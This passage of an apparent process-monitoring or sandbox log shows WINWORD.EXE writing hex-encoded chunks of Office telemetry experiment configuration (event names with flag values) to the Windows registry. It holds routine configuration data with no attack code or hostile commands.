635C22203A207B205C224576656E74735C22203A207B205C22526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22436F6E7461696E6572496E666F726D6174696F6E50726F74656374696F6E536572766963655C22203A207B205C225375624E616D657370616365735C22203A207B205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C22496E697469616C697A6174696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22476574506F6C69637953657474696E67735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224765744C6162656C735C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22576F726B73706163654D4950536572766963655C22203A207B205C225375624E616D657370616365735C22203A207B205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C22476574576F726B73706163654D495053657276696365466F725368617265706F696E745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224765744C6162656C735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E697469616C697A6174696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224765744170706C6965644C6162656C5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22476574506F6C69637953657474696E67735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225365744C6162656C5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250726F63657373506F6C69637953657474696E67735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2249734D616E6461746F72794C6162656C696E6752657175697265645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22526566726573684170706C6965644C6162656C5C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C224D656D6F72794C65616B547261636B65725C22203A207B205C225375624E616D657370616365735C22203A207B205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C224C6F6F70446570656E64656E6379436F6E7461696E65725C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C2255736572416374697665496E436F6D706F6E656E745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C224765744C6F6F70436F6D706F6E656E74436F72655C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C224F6E654E6F7465526F6F74446174614F626A6563745C22203A207B205C225375624E616D657370616365735C22203A207B205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C22476574526F6F74566965775C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247657443616E766173436F6D706F6E656E745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22496E746572616374697665506572666F726D616E63655C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C224C6F6F704D6F62696C655C22203A207B205C224576656E74466C61675C22203A20322C205C224576656E74735C22203A207B205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22506572666F726D616E63655C22203A207B205C224576656E74466C61675C22203A2031207D207D2C205C225375624E616D657370616365735C22203A207B205C2255736572416374696F6E5C22203A207B205C224576656E74735C22203A207B205C2250617977616C6C554953686F776E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250617977616C6C53657373696F6E446174615C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2241637469766974795C22203A207B205C224576656E74735C22203A207B205C224D7473496E697469616C526573706F6E73655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224D747353657474696E6773526573706F6E73655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2245637346657463685C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224765744D6673576F726B73706163654461746153746F72655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22557365724C6963656E7365456E61626C65645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224C6F61644461746153746F7265436F6E7461696E6572436174636855705C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22526570616972576F726B73706163655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22437265617465506572736F6E616C576F726B73706163655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22446F776E6C6F616454656D706C617465436F6E74656E745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22446F776E6C6F616454656D706C6174654D616E69666573745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224261636B66696C6C4C6963656E73655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247657455736572456E7669726F6E6D656E745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436F70696C6F74576F726B73706163654D616E61676572456E73757265576F726B73706163654D657461646174615C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C2247656E657269635C22203A207B205C224576656E74735C22203A207B205C22526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E76616C6964546F6B656E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E73756666696369656E74436C61696D735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22537065636966696354656E616E745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D207D2C205C224576656E74466C61675C22203A20322C205C224576656E74735C22203A207B205C22506572666F726D616E63655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247656E657269635C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D207D207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E466F726D73222C20225622203A20227374643A3A77737472696E677C7B205C225375624E616D657370616365735C22203A207B205C2248697665536572766963655C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22466F726D73536572766963655C22203A207B205C224576656E74466C61675C22203A2032207D2C205C225765625C22203A207B205C224576656E74466C61675C22203A20322C205C225375624E616D657370616365735C22203A207B205C22446961676E6F737469635C22203A207B205C225375624E616D657370616365735C22203A207B205C224C6F6F70506F6C6C5C22203A207B205C224576656E74735C22203A207B205C22446961676E6F737469634572726F725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2252656C696162696C6974794572726F725C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D207D207D207D207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E476C696E74222C20225622203A20227374643A3A77737472696E677C7B205C224576656E74466C61675C22203A2032207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E476C6F62616C697A6174696F6E222C20225622203A20227374643A3A77737472696E677C7B205C224576656E74466C61675C22203A20322C205C225375624E616D657370616365735C22203A207B205C22506C75676761626C6555495C22203A207B205C225375624E616D657370616365735C22203A207B205C2250726F6F66696E67546F6F6C73446F776E6C6F61645C22203A207B205C224576656E74735C22203A207B205C22446F776E6C6F6164436F6D706C6574655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22446F776E6C6F6164537461727465645C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D207D207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E4772617068696373222C20225622203A20227374643A3A77737472696E677C7B205C224576656E74735C22203A207B205C22496E6B416E616C797A657254726565526573756C745C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22487962726964496E6B54657874416E616C797A6572526573756C74735C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22536D617274496E6B416E616C797A6572526573756C74735C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22557064617465436174616C6F675461736B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250726F63657373436174616C6F67526573706F6E73655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250726F636573735265736F75726365526573706F6E73655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225570646174655265736F757263655461736B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22557064617465436174616C6F67436163686545785C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22526571756573745265736F75726365496E7465726E616C5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22415243457863657074696F6E53636F70655C22203A207B205C224576656E74466C61675C22203A20353132207D2C205C2245326F5669657752656E646572506572666F726D616E636541637469766974795C22203A207B205C224576656E74466C61675C22203A2032207D2C205C224172745669657756616C69646174655C22203A207B205C224576656E74466C61675C22203A2032207D2C205C224175746F6669745368617065546F54657874436D645C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22546F704C6576656C456666656374447261775C22203A207B205C224576656E74466C61675C22203A2032207D2C205C224372656174654269746D617046726F6D506C6174666F726D4269746D61705C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22496E6B496E70757453757266616365426173655570646174655C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2250617468576964656E657246576964656E5C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2250617468576964656E657246576964656E53696D706C65506174685C22203A207B205C224576656E74466C61675C22203A2032207D2C205C224776697A536D61727441727450726F7065727469657354656C656D657472795C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2243726561746544657669636544334431305C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C22537065637472655472616E73636F646541637469766974795C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C22496E73657274496E646976696475616C4D6F64656C334441637469766974795C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C224C6F61646564496D61676550726F706572746965735C22203A207B205C224576656E74466C61675C22203A20323536207D2C205C22496E736572744D6F64656C334441637469766974795C22203A207B205C224576656E74466C61675C22203A203438383936207D2C205C22537065637472654372656174655363656E6541637469766974795C22203A207B205C224576656E74466C61675C22203A203438383936207D2C205C224D6F64656C334452656E64657241637469766974795C22203A207B205C224576656E74466C61675C22203A203438383936207D207D2C205C224576656E74466C61675C22203A20322C205C225375624E616D657370616365735C22203A207B205C224175746F416C74546578745C22203A207B205C224576656E74735C22203A207B205C22554953657373696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2251756572794175746F43617074696F6E526573756C74735461736B5C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C224D333635436F6E74656E745069636B65725C22203A207B205C224576656E74735C22203A207B205C22496E736572745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2243616E63656C5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436C69636B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253656C656374696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247656E6572616C496E666F5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225072656D69756D436C69636B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22466565646261636B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22507265766965775072656D69756D436C69636B5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224E6574776F726B506572666F726D616E63655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225365617263685C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22506572666F726D616E63655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224578706572696D656E745C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C22487562626C655C22203A207B205C225375624E616D657370616365735C22203A207B205C2242696E675069636B65725C22203A207B205C224576656E74735C22203A207B205C2243616E63656C5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E736572745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247656E6572616C496E666F5C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D207D207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E48656C70222C20225622203A20227374643A3A77737472696E677C7B205C224576656E74466C61675C22203A20322C205C225375624E616D657370616365735C22203A207B205C2250616E655C22203A207B205C224576656E74735C22203A207B205C225461736B50616E654F70656E5C22203A207B205C224576656E7446
(PID) Process:(5048) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData
Operation:writeName:ChunkCount
Value:
uint64_t|38
(PID) Process:(5048) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData
Operation:writeName:1.39
Value:
6C61675C22203A2031207D2C205C22496E697469616C5461736B50616E654F70656E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225461736B50616E6548696464656E5C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E48747470222C20225622203A20227374643A3A77737472696E677C7B205C224576656E74466C61675C22203A20322C205C224576656E74735C22203A207B205C22487474705265717565737454656C656D657472795C22203A207B205C224576656E74466C61675C22203A2031207D207D207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E487474704C69626C6574222C20225622203A20227374643A3A77737472696E677C7B205C224576656E74466C61675C22203A2032207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E49646561734E6974726F222C20225622203A20227374643A3A77737472696E677C7B205C224576656E74466C61675C22203A2032207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E4964656E74697479222C20225622203A20227374643A3A77737472696E677C7B205C225375624E616D657370616365735C22203A207B205C22536572766963655C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2253697465735C22203A207B205C224576656E74466C61675C22203A2032207D207D2C205C224576656E74466C61675C22203A20322C205C224576656E74735C22203A207B205C2257696E333250726F6D70745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2246626150726F6D707457696E33325C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225373706950726F6D707457696E33325C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225369676E4F75744576656E745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225369676E4F75744576656E744E6F55736572416374696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22526566726573684F41757468546F6B656E735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2252756E52656672657368466C6F775C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22506572736973744F41757468466C6F775C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22526566726573684F41757468466C6F775C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2241757468436F6465466C6F7733505C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2252656672657368546F6B656E466C6F7733505C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224F6E65417574685061727365725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225369676E496E5573696E674F6E65417574685C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247656E65726174654261646765724964656E746974795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253657276696365526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436F6E666967456E7669726F6E6D656E745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224F6E6541757468496E76616C696453636F70654661696C7572655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224765745369676E496E576974684F6E6541757468416E64726F696443616C6C536F757263655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22476574417661696C61626C65557365724964466F72337264506172747950726F76696465725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247657441757468656E74696361746564536572766963655469636B65744661696C7572655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2246656465726174696F6E50726F76696465724350466C6F774572726F725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22474153545C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224E756C6C4964656E74697479417574684661696C7572655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224E6F6E4578697374656E744F6E65417574684163636F756E74466F7253534F5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22437265644163636573736F725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22416E6F6E796D6F7573446F6341757468536368656D655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436F6E666967536572766963655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22456E7375726550726F7669646572496E697465645C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574506572736F6E50726F66696C6553657475705C22203A207B205C224576656E74466C61675C22203A2032207D2C205C224964656E74697479536E617073686F745C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2247657450726F7669646572466F7241757468536368656D655C22203A207B205C224576656E74466C61675C22203A2032207D2C205C225472794964656E74697479506172656E744D617463685C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22526F616D696E6750726F7879496E69745C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22536861726564437265645265667265736846726F6D53746F72655C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22526561644F6E6546726F6D43726564656E7469616C4C6973745C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22435265616453796E635461736B52756E5C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22446F6D61696E4A6F696E65644F72436C6F7564446F6D61696E4A6F696E656453657373696F6E735C22203A207B205C224576656E74466C61675C22203A2032207D2C205C224765744164616C416363657373546F6B656E46726F6D4372656450726F76696465725C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574536572766963655C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574436F6E666967546F6B656E5C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22476574426C6F636B696E67536572766963655C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22506F70756C617465536572766963654D61705C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2247657441757468656E74696361746564536572766963655469636B65745C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22526566726573684964656E7469746965735C22203A207B205C224576656E74466C61675C22203A2032207D2C205C224765745365727669636555726C466F7246656465726174696F6E50726F7669646572416E616C797369735C22203A207B205C224576656E74466C61675C22203A2032207D2C205C225365727669636555726C5374617475735C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2241637175697265536572766963655469636B6574466F724144414C5C22203A207B205C224576656E74466C61675C22203A2032207D207D207D22207D2C207B20224622203A20224D6963726F736F66742E4F66666963652E54656C656D6574727944796E616D6963436F6E6669672E496E736967687473222C20225622203A20227374643A3A77737472696E677C7B205C224576656E74466C61675C22203A20322C205C225375624E616D657370616365735C22203A207B205C224A756E6F4465736B746F705C22203A207B205C224576656E74735C22203A207B205C2253657373696F6E54696D655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2252656E646572696E6754696D655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225374617274496E666F5C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C22526573656172636865725C22203A207B205C225375624E616D657370616365735C22203A207B205C2250616E655C22203A207B205C224576656E74735C22203A207B205C22466574636848746D6C5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250616E65496E7374616E63655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224E6176696761746553746172745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22486F737442726F77736572456E645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22486F737442726F7773657253746172745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224164644A6F75726E616C4369746174696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2241646453656374696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2241646451756F74655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22416464546F7069635C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22416464426F6F6B4369746174696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2255505041636365707465645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224164645765624369746174696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224164644269626C696F6772617068795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22476574446F634861734269626C696F6772617068795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225570646174654269626C696F6772617068795C22203A207B205C224576656E74466C61675C22203A2031207D207D207D207D207D2C205C22496E7369676874734465736B746F705C22203A207B205C224576656E74735C22203A207B205C2252656E646572696E6754696D655C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C22456E726963686D656E7450616E655C22203A207B205C224576656E74735C22203A207B205C224C61756E63685C22203A207B205C224576656E74466C61675C22203A2031207D207D207D2C205C22496E73696768747350616E655C22203A207B205C224576656E74735C22203A207B205C224C61756E636850616E655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247657453656C656374696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2244696374696F6E617279576F72644D617463685C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436163686546696C654E6F7456616C69645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2252657365617263686572436F6E74656E745C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22415C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22445C22203A207B205C224576656E74466C61675C22203A2032207D2C205C2248746D6C5072656665746368526571756573745C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22535C22203A207B205C224576656E74466C61675C22203A2032207D207D2C205C225375624E616D657370616365735C22203A207B205C224F66666963655C22203A207B205C224576656E74735C22203A207B205C2253797374656D616C69645C22203A207B205C224576656E74466C61675C22203A2032207D207D2C205C225375624E616D657370616365735C22203A207B205C22496E7369676874735C22203A207B205C224576656E74735C22203A207B205C22496E73696768747350616E655C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22496E73696768747350616E65305C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22496E73696768747350616E65725C22203A207B205C224576656E74466C61675C22203A2032207D207D207D2C205C2253797374656D5C22203A207B205C224576656E74735C22203A207B205C224163746976697479715C22203A207B205C224576656E74466C61675C22203A2032207D2C205C224163746976697479735C22203A207B205C224576656E74466C61675C22203A2032207D207D207D207D207D207D207D2C205C22536D6172744C6F6F6B75705C22203A207B205C224576656E74735C22203A207B205C225365617263685C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224C61756E636850616E655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22416C6C546162466972737452656E6465725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E697469616C697A65536D6172744C6F6F6B757041637469766974795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247657453656C656374696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247657441707050726F706572746965735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253656172636846726F6D486F737441637469766974795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224C6F6757696E646F77506572666F726D616E636554696D696E675C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E74656E74536572766963655365617263685C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2247657443616368656448746D6C506167655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22426F6F745374726170506572665C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22487474705265717565737441637469766974795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2246697273744C6F6F6B7570506572666F726D65645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224765744F666669636553657474696E67734C6174656E63795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22476574536D6172744C6F6F6B75704170706C69636174696F6E496E746572666163655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22536561726368526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2255736572416374696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224765745368726564646572416363657373546F6B656E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E617070726F707269617465436F6E74656E745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22516E61416374696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2244696374696F6E617279576F72644D617463685C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22446961676E6F73746963735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253656172636850616E655265616479546F52656E6465725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224572726F725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225363726970744C6F616465645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22426F6F745374726170446961676E6F737469635C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224765745353524A7346696C655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2248746D6C5072656665746368526571756573745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22536574557856657273696F6E5265674572726F725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225363726970744C6F6164656446726F6D486F73744170705C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436C69656E7452656E64657265645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253656172636850616E6553746172745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224C6F61645363726970744661696C7572655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22536D6172744C6F6F6B7570487964726174655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224C6F61644661696C7572655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225365727665725369646552656E646572696E674C6174656E63795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436163686546696C654E6F7456616C69645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22426C6F6F6D46696C74657243616E6E6F745265616446726F6D46696C655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22426C6F6F6D46696C7465724361636865456D7074795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22506572666F726D616E63655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224D61696E506167655265667265736865645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22557064617465436F6E746578745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22457870616E73696F6E466565646261636B5375626D69747465645C22203A207B205C224576656E74466C61675C22203A203120
(PID) Process:(5048) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData
Operation:writeName:ChunkCount
Value:
uint64_t|39
(PID) Process:(5048) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\word\ConfigContextData
Operation:writeName:1.40
Value:
7D2C205C224C61756E636850616E655468726F74746C65645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22536D6172744C6F6F6B75704F626A656374735669657752656E6465725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225374617274496E697469616C697A655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22536D6172744C6F6F6B757052656E6465725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225265667265736843616368656446696C65735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224765744665617475726547617465735C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225072656C6F616450616E655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224D616B654874747043616C6C5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C225072655365727665725369646552656E646572696E674C6174656E63795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224765745368726564646572416363657373546F6B656E4173796E635C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253686F756C6452656E64657246696E64496E446F63436172645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250616E654C6F6164696E674865617274426561745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224E6174697665536561726368526573756C74735265747269657665645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22526575736546696C657350616E65436C6F7365645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22516E6150726F766964657253746174757356325C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250616E6553746174655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E446F6353656172636845786563757465645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22537461746963536561726368626F7855736167655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22536561726368426F78496E746572616374696F6E5C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2250616E6552656164795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224F6E53445850616E654C61756E63684661696C7572655C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2246697273745265717565737453656E744C6174656E63795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22496E446F634F70744F75745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22486F73744576656E7452656365697665644265666F726550616E6552656164795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22536D61727446696E6457696E33324F70744F75745C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22446F63756D656E74436F6E74656E74506172616D7352656365697665645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22536D6172744C6F6F6B757046696C65536872656464696E6741637469766974795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2253756273657175656E74526571756573744532454C6174656E63795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C224669727374526573706F6E736552656365697665644C6174656E63795C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22436F6D6D616E644974656D52656E6465725C22203A207B205C224576656E74466C61675C22203A2031207D2C205C22486F73744576656E7452656365697665645C22203A207B205C224576656E74466C61675C22203A2031207D2C205C2252657365617263686572436F6E74656E745C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22415C22203A207B205C224576656E74466C61675C22203A2032207D2C205C22436